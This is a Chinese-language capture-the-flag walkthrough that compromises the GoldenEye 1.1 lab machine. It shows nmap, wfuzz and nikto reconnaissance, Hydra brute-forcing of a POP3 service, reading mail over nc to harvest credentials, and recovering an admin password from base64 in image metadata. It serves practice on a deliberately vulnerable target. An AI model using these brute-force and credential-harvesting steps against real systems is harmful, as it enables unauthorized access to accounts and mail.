实验环境
攻击者 Kali 192.168.192.128
受害者 Goldeneye1.1 IP未知
攻击者和受害者在同一网段
1. 信息收集
nmap -sn 192.168.192.0/24
受害者IP为192.168.192.164
收集受害者服务详情
nmap -sV -A 192.168.192.161
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
FUZZ测试一下
export URL="http://192.168.192.164/FUZZ"
#模糊测试目录 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"
#模糊测试文件 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"
没有什么发现
nikto测试一下
nikto -host=http://192.168.192.164
发现splashAdmin.php
查看源代码 找到几个疑似用户名
Natalya
Boris
Admin
Janus
2. 漏洞发现和利用
查看HTTP服务
查看一下源代码 发现terminal.js
boris
I encoded you p@ssword below…
InvincibleHack3r
用decode html
得到密码是InvincibleHack3r
登录即可
Remember, since security by obscurity is very effective, we have configured our pop3 service to run on a very high non-default port
意思是说在高端口布置了一个pop3服务
我们用nmap来找一下端口
nmap -sV -p- 192.168.192.164
多了55006和55007端口
查看端口详情
nmap -A -p 55006 192.168.192.164
nmap -A -p 55007 192.168.192.164
都是pop3端口
把Natalya Boris加入到user.txt
hydra -L user.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt pop3://192.168.192.164:55006
爆出来boris密码为secret1! natalya密码为bird
连接pop3服务器
nc 192.168.192.164 55006
pop3命令
https://www.winmail.cn/technic_pop3.php
#登录
auth
user natalya
pass bird
#返回邮件的id
uidl
#返回文本
retr 1
retr 2
2号邮件有重要内容
username: xenia
password: RCP90rulez!
And if you didn’t have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network….
Since you’re a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
由提示 我们要把/etc/host中添加以下内容
192.168.192.164 severnaya-station.com
邮件中也说了有一个隐藏目录/gnocertdir
我们访问severnaya-station.com/gnocertdir
出现了登录界面
输入邮件中给的用户名和密码
我们就进入了
尝试利用文件上传漏洞
发现只要访问就会下载而不是运行 遂放弃
发现有人给我发了消息
得到了一个用户名为doak
还是尝试hydra爆破
得到密码为goat
连接pop3
查看到邮件内容里有关键信息
又得到了一组用户名和密码
dr_doak
4England!
登录
登录成功
查看信息 空的
查看个人文件
找到一个文件 下载看看
┌──(root㉿kali)-[~/Downloads]
└─# cat s3cret.txt
007,
I was able to capture this apps adm1n cr3ds through clear txt.
Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.
Something juicy is located here: /dir007key/for-007.jpg
Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.
又发现一个路径
去看看
先下载下来
尝试用exiftool来获取图片的元数据
wget http://192.168.192.164/dir007key/for-007.jpg
exiftool for-007.jpg
很明显这是用base64编码的数据
解码后结果是 xWinter1995x!
上面信说了 找到了admin的密码 我猜测 这个解码后的结果就是密码 尝试登录一下
成功进入